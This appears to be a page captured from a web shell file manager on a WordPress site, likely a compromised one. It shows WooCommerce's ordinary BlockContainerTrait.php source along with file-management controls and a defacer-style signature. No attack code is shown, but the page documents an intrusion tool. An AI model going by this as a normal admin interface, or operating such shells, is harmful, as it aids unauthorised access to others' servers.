Submit
Path:
~
/
home
/
getwphos
/
www
/
metrothemes.me
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
Admin
/
BlockTemplates
/
File Content:
BlockContainerTrait.php
<?php namespace Automattic\WooCommerce\Internal\Admin\BlockTemplates; use Automattic\WooCommerce\Admin\BlockTemplates\BlockInterface; /** * Trait for block containers. */ trait BlockContainerTrait { /** * The inner blocks. * * @var BlockInterface[] */ private $inner_blocks = []; // phpcs doesn't take into account exceptions thrown by called methods. // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber /** * Add a block to the block container. * * @param BlockInterface $block The block. * * @throws \ValueError If the block configuration is invalid. * @throws \ValueError If a block with the specified ID already exists in the template. * @throws \UnexpectedValueException If the block container is not the parent of the block. */ protected function &add_inner_block( BlockInterface $block ): BlockInterface { if ( ! $block instanceof BlockInterface ) { throw new \UnexpectedValueException( 'The block must return an instance of BlockInterface.' ); } if ( $block->get_parent() !== $this ) { throw new \UnexpectedValueException( 'The block container is not the parent of the block.' ); } $root_template = $block->get_root_template(); $root_template->cache_block( $block ); $this->inner_blocks[] = &$block; return $block; } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber /** * Get the inner blocks sorted by order. */ private function get_inner_blocks_sorted_by_order(): array { $sorted_inner_blocks = $this->inner_blocks; usort( $sorted_inner_blocks, function( Block $a, Block $b ) { return $a->get_order() <=> $b->get_order(); } ); return $sorted_inner_blocks; } /** * Get the inner blocks as a formatted template. */ public function get_formatted_template(): array { $arr = [ $this->get_name(), $this->get_attributes(), ]; $inner_blocks = $this->get_inner_blocks_sorted_by_order(); if ( ! empty( $inner_blocks ) ) { $arr[] = array_map( function( BlockInterface $block ) { return $block->get_formatted_template(); }, $inner_blocks ); } return $arr; } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
AbstractBlock.php
4641 bytes
0644
AbstractBlockTemplate.php
2859 bytes
0644
Block.php
1268 bytes
0644
BlockContainerTrait.php
2143 bytes
0644
BlockTemplate.php
768 bytes
0644
N4ST4R_ID | Naxtarrr